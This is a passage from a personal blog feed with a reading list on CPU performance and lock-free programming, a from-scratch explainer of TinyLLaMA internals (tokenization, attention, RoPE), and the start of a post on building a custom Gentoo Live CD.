      <td>Fedor Pikus · CppCon 2017</td>
      <td><a href="https://www.youtube.com/watch?v=ZQFzMfHIxng">YouTube</a></td>
      <td>atomic 实现细节，memory_order 选择</td>
    </tr>
    <tr>
      <td>Linux Performance Tools</td>
      <td>Brendan Gregg · LISA 2014</td>
      <td><a href="https://www.youtube.com/watch?v=FJW8nGV4jxY">YouTube</a></td>
      <td>perf、Flamegraph、ftrace 系统性实战</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="工具--可复现代码库">工具 &amp; 可复现代码库</h2>

<table>
  <thead>
    <tr>
      <th>名称</th>
      <th>链接</th>
      <th>用途</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Google Benchmark</td>
      <td><a href="https://github.com/google/benchmark">https://github.com/google/benchmark</a></td>
      <td>标准 microbenchmark 框架，防止编译器优化掉测试代码</td>
    </tr>
    <tr>
      <td>Compiler Explorer (Godbolt)</td>
      <td><a href="https://godbolt.org">https://godbolt.org</a></td>
      <td>在线查看 C++/Rust 汇编，验证 cmov/inline/SIMD 生成</td>
    </tr>
    <tr>
      <td>perf + Flamegraph</td>
      <td><a href="https://www.brendangregg.com/perf.html">https://www.brendangregg.com/perf.html</a></td>
      <td>PMU 计数器量化 cache-miss / branch-miss，火焰图定位热点</td>
    </tr>
    <tr>
      <td>rigtorp/awesome-lockfree</td>
      <td><a href="https://github.com/rigtorp/awesome-lockfree">https://github.com/rigtorp/awesome-lockfree</a></td>
      <td>无锁资源 awesome-list + 高质量 SPSC/MPMC Queue 实现</td>
    </tr>
    <tr>
      <td>Facebook Folly</td>
      <td><a href="https://github.com/facebook/folly">https://github.com/facebook/folly</a></td>
      <td>生产级无锁数据结构参考实现（MPMCQueue, AtomicHashMap 等）</td>
    </tr>
    <tr>
      <td>Intel VTune Profiler</td>
      <td><a href="https://www.intel.com/content/www/us/en/developer/tools/oneapi/vtune-profiler.html">https://www.intel.com/content/www/us/en/developer/tools/oneapi/vtune-profiler.html</a></td>
      <td>Top-Down 微架构分析，可视化 Front-End/Back-End Bound</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="推荐学习路径">推荐学习路径</h2>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Step 1：建立硬件直觉
  → Drepper 论文 §3-§4（Cache + TLB）
  → Scott Meyers 视频（CPU Caches and Why You Care）

Step 2：量化问题
  → Denis Bakhvalov 书（Top-Down 方法论 + perf/VTune 实战）
  → 工具：perf stat -e cache-misses,branch-misses

Step 3：理解并发基础
  → Herb Sutter atomic&lt;&gt; Weapons 视频
  → Anthony Williams Ch.5（内存模型 + atomic）

Step 4：无锁数据结构
  → Anthony Williams Ch.6-7（有锁 → 无锁）
  → Fedor Pikus CppCon 2015 视频
  → Michael-Scott Queue 原始论文

Step 5：验证与实践
  → Google Benchmark 写对比测试
  → Godbolt 确认汇编
  → perf 验证 PMU 计数器下降
</code></pre></div></div>

<hr />

<h2 id="todo-list">TODO List</h2>

<h3 id="微架构--性能调优">微架构 &amp; 性能调优</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />读完 Drepper 论文 §3（CPU Cache）</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />读完 Drepper 论文 §4（Virtual Memory / TLB）</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />扫读 Drepper 论文 §6（What Programmers Can Do）</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />看完 Scott Meyers “CPU Caches and Why You Care” 视频</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />读 Agner Fog Vol.3 microarchitecture.pdf（重点：BTB、分支预测器结构）</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />安装并试用 Google Benchmark，跑一个 cache miss 对比实验</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />用 <code class="language-plaintext highlighter-rouge">perf stat -e cache-misses,branch-misses</code> 跑自己的代码</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />用 Godbolt 验证一段 branchless 代码是否生成了 cmov</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />读 Denis Bakhvalov 书的 Top-Down 分析章节</li>
</ul>

<h3 id="并发--无锁">并发 &amp; 无锁</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />看完 Herb Sutter “atomic&lt;&gt; Weapons” 两部视频</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />读完 Anthony Williams C++ Concurrency in Action Ch.5（内存模型）</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />读完 Anthony Williams Ch.6（有锁数据结构）</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />读完 Anthony Williams Ch.7（无锁数据结构）</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />看完 Fedor Pikus “Live Lock-Free or Deadlock” CppCon 2015</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />读 Michael-Scott Queue 原始论文，手写一遍实现</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />阅读 1024cores.net 的 MPMC Queue 实现</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />理解 Hazard Pointer 和 Epoch-Based Reclamation 的区别</li>
</ul>

<h3 id="工具熟悉">工具熟悉</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />配置 perf + Flamegraph 工作环境</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />跑一次 <code class="language-plaintext highlighter-rouge">perf record</code> + <code class="language-plaintext highlighter-rouge">perf report</code> 分析一个真实程序</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />尝试 Intel VTune（或 AMD uProf）的 Top-Down 分析视图</li>
</ul>

<h3 id="进阶有时间再说">进阶（有时间再说）</h3>

<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />读 Herlihy &amp; Shavit “The Art of Multiprocessor Programming”</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />读 McKenney “Is Parallel Programming Hard” RCU 相关章节</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />读 x86-TSO 论文（理解内存序形式化定义）</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />了解 AUTOSAR Classic OS 的任务模型和中断分类（Cat.1 / Cat.2）</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />看 Zephyr RTOS 调度器源码 <code class="language-plaintext highlighter-rouge">kernel/sched.c</code></li>
</ul>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[以下均为领域内公认的经典资料，非原创整理。]]></summary></entry><entry><title type="html">LLM from Scratch (TinyLLaMA)</title><link href="https://hongyi.lu/llm_from_scratch/" rel="alternate" type="text/html" title="LLM from Scratch (TinyLLaMA)" /><published>2026-02-11T00:00:00+00:00</published><updated>2026-02-11T00:00:00+00:00</updated><id>https://hongyi.lu/llm_from_scratch</id><content type="html" xml:base="https://hongyi.lu/llm_from_scratch/"><![CDATA[<ul id="markdown-toc">
  <li><a href="#introduction" id="markdown-toc-introduction">Introduction</a>    <ul>
      <li><a href="#ground-rules" id="markdown-toc-ground-rules">Ground Rules</a></li>
    </ul>
  </li>
  <li><a href="#tokenization-from-text-to-tokens" id="markdown-toc-tokenization-from-text-to-tokens">Tokenization: From Text to Tokens</a></li>
  <li><a href="#embeddings-from-tokens-to-vectors" id="markdown-toc-embeddings-from-tokens-to-vectors">Embeddings: From Tokens to Vectors</a></li>
  <li><a href="#attention-where-magic-happens" id="markdown-toc-attention-where-magic-happens">Attention: Where Magic Happens</a></li>
  <li><a href="#kvcache-save-what-have-been-computed" id="markdown-toc-kvcache-save-what-have-been-computed">KVCache: Save What have been Computed</a></li>
  <li><a href="#multi-head-attention-learn-different-rules-of-language" id="markdown-toc-multi-head-attention-learn-different-rules-of-language">Multi-head Attention: Learn Different Rules of Language</a></li>
  <li><a href="#rope-learn-distance-between-tokens" id="markdown-toc-rope-learn-distance-between-tokens">RoPE: Learn Distance between Tokens</a></li>
</ul>

<h2 id="introduction">Introduction</h2>

<p>I’ve been wanting to learn about the LLM for quite a long time, but didn’t have
the time to do so until now. So, I decided to implement a simple LLM using my
way of learning, which is to implement it from scratch.</p>

<h3 id="ground-rules">Ground Rules</h3>

<p>I have set some ground rules for myself to follow while implementing the LLM:</p>

<ul>
  <li>No wheels: I will implement everything (except basic ops like <code class="language-plaintext highlighter-rouge">matmul</code>) from
scratch.</li>
  <li>Actual LLM: I will aim to implement inference loop for TinyLLaMA, an actual LLM.</li>
  <li>Understand math, not code: I will study the math behind the LLM.</li>
</ul>

<h2 id="tokenization-from-text-to-tokens">Tokenization: From Text to Tokens</h2>

<p>Languages like English are formed from basic semantic units – words. For LLMs
to understand and process language, we also need to define a set of basic
semantic units – LLM’s vocabulary. An intuitive choice for these units would
be directly using words. However, this approach has an obvious problem: LLMs
wouldn’t be able to recognize any word that is not in its vocabulary, such as
<em>phishy</em>. To solve this problem, LLMs like TinyLLaMA use a more delicate algorithm
named Byte Pair Encoding (BPE) to tokenize words into subword units.</p>

<p>The idea behind BPE is that <em>if certain subword units appear adjacent to each other
frequently, then they are likely to be semantically related and thereby can be
merged.</em></p>

<p>Suppose we have the following sentence.</p>

<blockquote>
  <p>FloydHub is the fastest way to build, train and deploy deep learning models. Build deep learning models in
the cloud. Train deep learning models.</p>
</blockquote>

<p>BPE will start from the most basic unit – letters, and gradually merge
adjacent units that appear frequently together. So, in the beginning, BPE
compute the frequency of each adjacent pair of letters, yielding the following
table.</p>

<table>
  <thead>
    <tr>
      <th>Key</th>
      <th>Count</th>
      <th>Key</th>
      <th>Count</th>
      <th>Key</th>
      <th>Count</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>de</td>
      <td>7</td>
      <td>in</td>
      <td>6</td>
      <td>ep</td>
      <td>4</td>
    </tr>
    <tr>
      <td>lo</td>
      <td>3</td>
      <td>ee</td>
      <td>3</td>
      <td>le</td>
      <td>3</td>
    </tr>
    <tr>
      <td>ea</td>
      <td>3</td>
      <td>ar</td>
      <td>3</td>
      <td>rn</td>
      <td>3</td>
    </tr>
    <tr>
      <td>ni</td>
      <td>3</td>
      <td>ng</td>
      <td>3</td>
      <td>mo</td>
      <td>3</td>
    </tr>
    <tr>
      <td>od</td>
      <td>3</td>
      <td>el</td>
      <td>3</td>
      <td>ls</td>
      <td>3</td>
    </tr>
  </tbody>
</table>

<p>So, we can merge the most frequent pair <code class="language-plaintext highlighter-rouge">de</code>, treat it as a single unit, and
represent it as <code class="language-plaintext highlighter-rouge">X</code>. Then we get the following sentence.</p>

<blockquote>
  <p>FloydHub is the fastest way to build, train and Xploy Xep learning moXls. Build Xep learning moXls in
the cloud. Train Xep learning moXls.</p>
</blockquote>

<p>Then we can repeat the same process, merging the most frequent pair into new
units, until we have reached a preferred vocabulary size \(N\). In particular,
if we don’t set a limit on the vocabulary size, we can keep merging until every
unit is a <em>word</em> again, which is the case of using words as tokens.</p>

<p><strong>Why this makes sense?</strong></p>

<p>Though beginning with cruel statistics, BPE can effectively capture the
semantic relationship between subword units. For example, in the above
sentence, <code class="language-plaintext highlighter-rouge">tion</code> appeared in <code class="language-plaintext highlighter-rouge">construction</code>, <code class="language-plaintext highlighter-rouge">location</code>, and <code class="language-plaintext highlighter-rouge">...tion</code> has the
same semantic meaning of being a noun suffix. So, if there are sufficiently
many words that share the same suffix, BPE will eventually merge the suffix
into a single unit, which can be easily recognized by the LLM as a noun suffix.</p>

<p>As TinyLLaMA is trained on a large corpus of text, we are unable to reproduce
its tokenization process. We thereby reuse <code class="language-plaintext highlighter-rouge">autotokenizer</code> from HuggingFace to
tokenize the input text into tokens.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">tokenizer</span> <span class="o">=</span> <span class="n">AutoTokenizer</span><span class="p">.</span><span class="n">from_pretrained</span><span class="p">(</span><span class="s">"TinyLlama/TinyLlama-1.1B-Chat-v1.0"</span><span class="p">,</span> <span class="n">cache_dir</span><span class="o">=</span><span class="s">"./"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"--- Test Tokenizer ---"</span><span class="p">)</span>
<span class="n">tokenized</span> <span class="o">=</span> <span class="n">tokenizer</span><span class="p">(</span><span class="s">"Hello, World!"</span><span class="p">)</span>
<span class="n">tokens</span><span class="p">,</span> <span class="n">mask</span> <span class="o">=</span> <span class="n">tokenized</span><span class="p">[</span><span class="s">"input_ids"</span><span class="p">],</span> <span class="n">tokenized</span><span class="p">[</span><span class="s">"attention_mask"</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Hello World! ===&gt; </span><span class="si">{</span><span class="n">tokens</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<h2 id="embeddings-from-tokens-to-vectors">Embeddings: From Tokens to Vectors</h2>

<p>In the language we use from day to day, we have letters, words. In the world of
AI models, however, we only have numbers and vectors. So, for LLMs to
understand and process language, we need to convert words into numbers. This is
where embeddings come in; it is essentially a function that maps tokens to vectors.
For example, we can have a function \(f\) that maps the token <code class="language-plaintext highlighter-rouge">Love</code> to a numerical vector.</p>

\[f(Love) = [0.2, 0.5, 0.7...]\]

<p>Note that the embedding function is <em>not</em> simply giving every token a random
vector. Instead, it is designed to capture the semantic relationship between
tokens. The following figure illustrates this idea; the word <code class="language-plaintext highlighter-rouge">France</code> is mapped
to a vector that is close to the vector of <code class="language-plaintext highlighter-rouge">Paris</code>, while <code class="language-plaintext highlighter-rouge">Germany</code> is mapped
to a vector that is close to <code class="language-plaintext highlighter-rouge">Berlin</code>. This way, the LLM can understand the
semantic relationship between these words through their embeddings.</p>

<div align="center"><img width="60%" src="https://upload.wikimedia.org/wikipedia/commons/thumb/f/fe/Word_embedding_illustration.svg/1920px-Word_embedding_illustration.svg.png" /></div>

<h2 id="attention-where-magic-happens">Attention: Where Magic Happens</h2>

<p>Attention is the core component of LLMs. It puts three vectors – \(Q\), \(K\) and \(V\) – into
each token; their semantic meaning is as follows:</p>

<ul>
  <li>
    <p>Query (\(Q\)): It represents the token’s query vector, which represents the
token’s query for information from other tokens.</p>
  </li>
  <li>
    <p>Key (\(K\)): It represents the token’s key vector, which, receives a query \(Q\)
and respond how well \(Q\) and itself \(K\) relates.</p>
  </li>
  <li>
    <p>Value (\(V\)): It represents the token’s value vector, which represents the
actual contextual information of the token.</p>
  </li>
</ul>

<p>To obtain these three vectors, LLMs maintain three trainable weight matrices – \(W_Q\), \(W_K\)
and \(W_V\); multiplying token’s embedding with these weight matrices gives us \(Q,K,V\).</p>

\[Q = XW_Q^T, \quad K = XW_K^T, \quad V = XW_V^T\]

<blockquote>
  <p>Why not \(W_Q x\)?</p>

  <p>This is because we want to maintain row-major order for
token’s embedding \(X\), whose shape is <code class="language-plaintext highlighter-rouge">[T, H]</code>. \(T\) is the number of tokens, and
\(H\) is the embedding dimension. Such row-major order is more cache-friendly
as computers store data in a row-major order, i.e., a row \([x_1, x_2, x_3]\)
located in neighboring addresses with better spatial locality while column
\([x_1, x_2, x_3]^T\) is not.</p>
</blockquote>

<p>After we have \(Q,K,V\), we now can do the famous attention equation:</p>

\[\text{Attention}(X) = \text{softmax}(\frac{QK^T}{\sqrt{d}})V\]

<p>Let’s first look at \(QK^T\), it essentially computes the
inner product of each \(q_i=x_iW_Q^T\) and \(k_j=x_jW_K^T\). By easy linear
algebra, \(q_i\cdot k_j^T\) equals to \(x_iW_Q^TW_Kx_j^T\), which is a inner
product between \(x_i\) and \(x_j\) as we’re working with row-major vectors.</p>

<blockquote>
  <p><strong>Inner product’s definition</strong> \(x\cdot y = \|x\|\|y\|cos\theta\). When
both \(x\) and \(y\) are unit vectors, the inner product is simply the cosine
similarity between these vectors. Attention score is also a similarity score
between tokens, with additional information from the weight matrices \(W_Q\)
and \(W_K\).</p>
</blockquote>

<p>The normalization term \(\sqrt{d}\) is to debloat the attention score. Assume
\(q,k\sim N(0,1)\), the variation of \(q\cdot k^T\) is \(\sum_i^d Var(q_ik_i) =
\sum_i^d Var(q_i)*Var(k_i) = \sum_i^d 1 = d\), so dividing by \(\sqrt{d}\) is
equivalent to normalizing the variation of attention score to 1, which prevents
\(\text{softmax}\) from being oversaturated (due to dimension increase) and
thereby having vanishing gradients.</p>

<blockquote>
  <p><strong>Saturated softmax</strong> means that if the input to softmax is out of a
reasonable range, e.g., \(\text{softmax}(x\geq 5)\cong 1\). If all components
of the input vector, due to dimension increase, are larger than 5, then the
output of softmax will all be near a constant 1, which causes the gradient to
vanish (near 0) as constant has zero gradient.</p>
</blockquote>

<h2 id="kvcache-save-what-have-been-computed">KVCache: Save What have been Computed</h2>

<p>In attention computation, we need to compute \(K,Q,V\).</p>

<h2 id="multi-head-attention-learn-different-rules-of-language">Multi-head Attention: Learn Different Rules of Language</h2>

<p>The above mentioned attention is also called single-head attention, as it only
has one set of weight matrices \(W_Q\), \(W_K\) and \(W_V\). However, in
real-world languages, there are different rules that govern the relationship
between tokens, such as semantics, syntax, and so on. These rules might be very
different from each other, so maintaining only one weight matrix causes
training to be difficult as models might struggle to learn different rules back
and forth with different batches of training data.</p>

<p>The idea behind Multi-head Attention (MHA) is simple, we partition weight
matrices \(W_*\) into smaller matrices \(W_*^i\) and let them to interact with
\(x\) separately, learning different rules of language in different heads.</p>

<p>I found it’s simpler to directly understanding the MHA by looking at the shapes
of the matrices. Assuming we have number of tokens \(T\), dimension of
embedding \(H\), then the shape of \(Q,K,V\) would be \([T,H]\). So, if we want
to split them into \(h\) heads, then the shape of each \(Q^i,K^i,V^i\) would be
\([T,H/h]\). We treat these \(Q^i,K^i,V^i\) as usual and plug them into the
attention equation,</p>

\[\text{Attention}(X^i) = \text{softmax}(\frac{Q^i{K^i}^T}{\sqrt{d_i}})V^i\]

<p>We then have \(\text{Attention}(X^i)\) with shape \([T,H/h]\), which can be
concatenated together back to a matrix of shape \([T,H]\), which is the result
of MHA.</p>

<p>How this works? Let’s see the following picture. On the left, we can see MHA
actually doesn’t change the calculation of \(Q,K,V\); we just split them
afterwards. On the right, we can see that the MHA calculates attention using
split \(Q^i,K^i,V^i\). Though this might seem trivial, this actually separate
the gradient of different heads as they are simply concatenated. This allows
the different part of \(W_*\) (i.e., \(W[H,0{:}H/h]\) and \(W[H,H/h{:}H]\)) to
learn different patterns of the language when doing backpropagation.</p>

<p><img src="https://youke.xn--y7xa690gmna.cn/s1/2026/02/12/698da9f346f08.webp" alt="1770891828240.png" /></p>

<p><strong>Variant: Grouped Query Attention</strong></p>

<h2 id="rope-learn-distance-between-tokens">RoPE: Learn Distance between Tokens</h2>

<p>Note that the current form of attention is <em>permutation invariant</em>, which means
that the attention score between two tokens is not affected by their <em>relative
position</em>. This is a problem as the meaning of a sentence is often determined
by the order of words. Therefore, we hope to have a way of injecting positional
information into the attention mechanism.</p>

<p>Clearly, in human language, the relative position between tokens is more
important than their absolute position. Knowing a word in the \(X_{\text{th}}\)
position of a sentence doesn’t tell us much, but knowing that a word is right
after <em>am/is/are</em> can be very informative. Therefore, we want to have a way of
encoding the relative position between tokens into the attention mechanism.</p>

<p>To encoding the relative position between tokens, we can define a linear transformation
\(R_mx_m\), where \(x\) is a token and \(m\) is its absolute position index.</p>

<blockquote>
  <p><strong>What are we doing here?</strong> We wish to encoding the relative position between
token \(m\) and every other tokens \(0,1,..m-1,m+1,..L_{max}\) into the
components \([x_m^1,x_m^2,..,x_m^H]\) of token vector \(x_m\).</p>
</blockquote>

<p>We wish we have the following property for this function:</p>

\[{R_mx_m}^TR_nx_n = g(x_m,x_n,m-n),\quad R_0=I\]

<p>This property means that the inner product between two tokens’ positional
embeddings can be expressed as a function of their relative position \(m-n\).
This way, the attention score between two tokens can be influenced by their
relative position. Particularly, we define \(R_0=I\) for convenience. Moreover,
we also want to have \(R_m\) doesn’t modify vector’s length, i.e.,
\(\|R_mx_m\|=\|x_m\|\). Because, the following equation holds:</p>

\[m=n\Rightarrow (R_mx_m)^T(R_mx_m) = g(x_m,x_m,0) = (R_0x_m)^T(R_0x_m)\Rightarrow \|R_mx_m\|=\|x_m\|\]

<p>As \(R\) maintains length, it can only be a composition of rotation and
reflection. Formally, by <a href="https://en.wikipedia.org/wiki/Polarization_identity">polarization
identity</a>, we can derive
\(R_m\) keep the inner product between any two vectors, i.e., \(x^TR_m^TR_my =
x^Ty\). So, we can further derive that \(R_m^TR_m = I\), which means \(R_m^T =
R_m^{-1}\).</p>

<p>So, in the end, we have:</p>

<ul>
  <li>\(R_0=I\), manually define position \(0\) provides no information</li>
  <li>\(R_m\) is orthogonal matrix, \(R_m^T=R_m^{-1}\)</li>
  <li>\(R_m\) keeps length, \(\|R_mx\|=\|x\|\)</li>
</ul>

<p>This naturally leads us to the idea of using rotation as the linear
transformation.</p>

<p><strong>Rotation in Higher Dimension</strong></p>

<p>It might seem unintuitive to use rotation in higher dimension, but it’s
actually quite simple. A high-dimensional rotation matrix (Givens rotation in
n-dimensions, rotating in the i-j plane):</p>

\[R(i, j, \theta) =
\begin{bmatrix}
1 &amp; &amp; &amp; &amp; &amp; \\
&amp; &amp; \ddots &amp; &amp; &amp; \\
&amp; &amp; \cos\theta &amp; -\sin\theta &amp; &amp; \\
&amp; &amp; \sin\theta &amp; \cos\theta &amp; &amp; \\
&amp; &amp; &amp; \ddots &amp; &amp; \\
&amp; &amp; &amp; &amp; &amp; 1
\end{bmatrix}\]

<p>We can choose a pair of adjacent dimensions (i.e., \(\|i-j\|=1\)), and rotate
around these two dimensions. By repeating this process with multiple different
planes for sufficiently many times, we can obtain any arbitrary rotation.
In this way, we end up with this block-diagonal rotation matrix for RoPE:</p>

\[R_m =
\begin{bmatrix}
\cos m\theta_0 &amp; -\sin m\theta_0 &amp; 0 &amp; 0 &amp; \cdots &amp; 0 &amp; 0 \\
\sin m\theta_0 &amp; \cos m\theta_0 &amp; 0 &amp; 0 &amp; \cdots &amp; 0 &amp; 0 \\
0 &amp; 0 &amp; \cos m\theta_1 &amp; -\sin m\theta_1 &amp; \cdots &amp; 0 &amp; 0 \\
0 &amp; 0 &amp; \sin m\theta_1 &amp; \cos m\theta_1 &amp; \cdots &amp; 0 &amp; 0 \\
\vdots &amp; \vdots &amp; \vdots &amp; \vdots &amp; \ddots &amp; \vdots &amp; \vdots \\
0 &amp; 0 &amp; 0 &amp; 0 &amp; \cdots &amp; \cos m\theta_{d/2-1} &amp; -\sin m\theta_{d/2-1} \\
0 &amp; 0 &amp; 0 &amp; 0 &amp; \cdots &amp; \sin m\theta_{d/2-1} &amp; \cos m\theta_{d/2-1}
\end{bmatrix}\]

<p><strong>Decision of Rotation Angle</strong></p>

<p>The last question is, if \(R_m\) is a rotation matrix, how do we decide the
rotation angle \(\theta_i\). Let’s try a few naive solutions.</p>

<ul>
  <li>Constant angle: \(\theta_i=\theta\)</li>
</ul>

<p>If \(\theta\) is small (low frequency), then the rotation is very slow, words
that are close to each other (e.g., \(2\theta\) and \(\theta\)) might be hard
to distinguish. If \(\theta\) is large (high frequency), then the rotation is
very fast, far-away word (e.g., \(1000\theta\)) would be random (many round of
\(2\pi\)).</p>

<ul>
  <li>Linear formation: \(\theta_i=(2i\pi)/L_{max}\) where \(L_{max}\) is the
 maximum sequence length.</li>
</ul>

<p>The problem here is that linear formation doesn’t cover sufficiently large
frequency space. \(L_{max}\) could be very large (&gt;128K), but the maximum
dimension is more bounded (~2048). Therefore, this formation creates a very
dense frequency space, where \(\theta_{10}=0.0005\) and \(\theta{100}=0.005\)
does make much differences.</p>

<blockquote>
  <p><strong>Why linear formation don’t work?</strong> Recall that we’re trying to encode the
relative position between \(x_m\) with every other tokens
\(x_0,x_1,..,x_{m-1},x_{m+1},..x_{L_{max}}\), which is \(L_{max}-1\)’s
distance. But our token vector only has \(d=H\) components. Any linear
mapping from \(L_{max}\) to \(d/2\) will result in a very dense projection,
which means that many different relative positions will be projected to very
close angles, making them hard to distinguish.</p>
</blockquote>

<p>So, it would be straightforward to use a exponential formation and allow
\(\theta_i\) to grow sparsely across the frequency space to capture all
\(L_{max}-1\) distances, i.e., \(\theta_i=N^{-2i/d}\). The \(2/d\) factor is to
get a dimension-invariant angle. The negative sign is to make sure the angle is
exponentially decreasing, otherwise it will just explode.  (PS: we can make
\(\theta_0=2\pi\), but it won’t be that useful). As for \(N\), it can be
decided based on \(L_{max}\), the longer the sequence is, the more sparse the
frequency space is, so we can choose a larger \(N\). In TinyLLaMA, \(N=10000\).</p>

<p>Exponential formation creates a sparse frequency space, and covers a wide range
of frequencies. Thereby, close words can be distinguished by low-frequency
rotations with smaller \(i\) while far-away words can be distinguished by
high-frequency rotations with larger \(i\).</p>

<table>
  <thead>
    <tr>
      <th>i</th>
      <th>\(\theta_i\)</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0</td>
      <td>1</td>
    </tr>
    <tr>
      <td>10</td>
      <td>0.91</td>
    </tr>
    <tr>
      <td>100</td>
      <td>0.41</td>
    </tr>
    <tr>
      <td>200</td>
      <td>0.17</td>
    </tr>
    <tr>
      <td>500</td>
      <td>0.01</td>
    </tr>
    <tr>
      <td>1000</td>
      <td>0.0001</td>
    </tr>
  </tbody>
</table>]]></content><author><name>Hongyi LU</name><email>jwnhy0@gmail.com</email></author><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">Gentoo Live CD Adventures</title><link href="https://hongyi.lu/gentoo-livecd/" rel="alternate" type="text/html" title="Gentoo Live CD Adventures" /><published>2024-10-01T00:00:00+00:00</published><updated>2024-10-01T00:00:00+00:00</updated><id>https://hongyi.lu/gentoo-livecd</id><content type="html" xml:base="https://hongyi.lu/gentoo-livecd/"><![CDATA[<p>Build a custom Gentoo Live CD.</p>

<h2 id="background">Background</h2>

<p>To study Intel’s latest Linear Address Masking feature, I have my supervisor bought me a ASUS Laptop with latest Intel Ultra 258V CPU. As my usual development environment is built upon Gentoo, I decided to install Gentoo on it and test the LAM feature.</p>

<p>However, when I booted into Gentoo’s Live CD, I found that the kernel is too old and nothing works. The network card is gone, the kernel is spitting out tons of errors in <code class="language-plaintext highlighter-rouge">dmesg</code>.</p>

<h2 id="gentoos-live-cd">Gentoo’s Live CD</h2>

<p>So, I learnt that Gentoo provides tools to build your own Live CD, named <code class="language-plaintext highlighter-rouge">catalyst</code> (not AMD’s driver). This is the guide (https://wiki.gentoo.org/wiki/Catalyst/Custom_Media_Image). The guide is … well … OK.
It just misses the things I need. Long story short, I need solve the following things to get a usable Live CD.</p>

<ol>
  <li>Linux Firmware is too old, only the latest one includes the iwlwifi-bz-***-92 firmware.</li>
  <li>The kernel is too old, it supports neither the firmware nor the CPU.</li>
  <li>Catalyst provides neither guides on how to tweak with the kernel nor the firmware.</li>
</ol>

<h2 id="linux-firmware">Linux Firmware</h2>

<p>The Linux firmware is rather easy to solve. Gentoo has synced with upstream and provides <code class="language-plaintext highlighter-rouge">sys-kernel/linux-firmware-20240909-r1</code>.
By <code class="language-plaintext highlighter-rouge">catalyst</code>’s guide, one can change its <code class="language-plaintext highlighter-rouge">portage</code> behavior by modifying <code class="language-plaintext highlighter-rouge">releng</code>’s config. So, I changed <code class="language-plaintext highlighter-rouge">package.mask</code> to force using the latest firmware.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;sys-kernel/linux-firmware-20240909-r1
</code></pre></div></div>

<h2 id="from-distkernel-to-source-kernel">From distkernel to Source Kernel</h2>

<p>Let alone the Catalyst’s configuration, we first need to let Catalyst to use the latest kernel package.
This is still done via <code class="language-plaintext highlighter-rouge">portage</code>’s configuration. I changed <code class="language-plaintext highlighter-rouge">package.mask</code> to force using the latest kernel.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>&lt;sys-kernel/gentoo-sources-6.11.0
</code></pre></div></div>

<p>and allow the latest kernel in <code class="language-plaintext highlighter-rouge">package.accept_keywords</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=sys-kernel/gentoo-sources-6.11.0 ~amd64
</code></pre></div></div>

<h2 id="the-hard-part--source-kernel">The hard part — Source Kernel</h2>

<p>The kernel used by Catalyst is the <code class="language-plaintext highlighter-rouge">gentoo-kernel</code>, which is a pre-built kernel and the latest version is <code class="language-plaintext highlighter-rouge">6.10.12</code>. Sadly, this version
does not support the <code class="language-plaintext highlighter-rouge">iwlwifi-bz-***-92</code> firmware. It only supports <code class="language-plaintext highlighter-rouge">iwlwifi-bz-***-90</code>, which does not exist at all…</p>

<p>So, I need to change the Catalyst’s specification to do the following things.</p>

<ol>
  <li>Add necessary tools for building from the source.</li>
  <li>Change the kernel configuration.</li>
  <li>Change the Catalyst configuration.</li>
</ol>

<h3 id="add-necessary-tools">Add necessary tools</h3>

<p>I added the following packages to <code class="language-plaintext highlighter-rouge">/var/tmp/catalyst/installcd-stage1.spec</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sys-kernel/genkernel        # for building the kernel
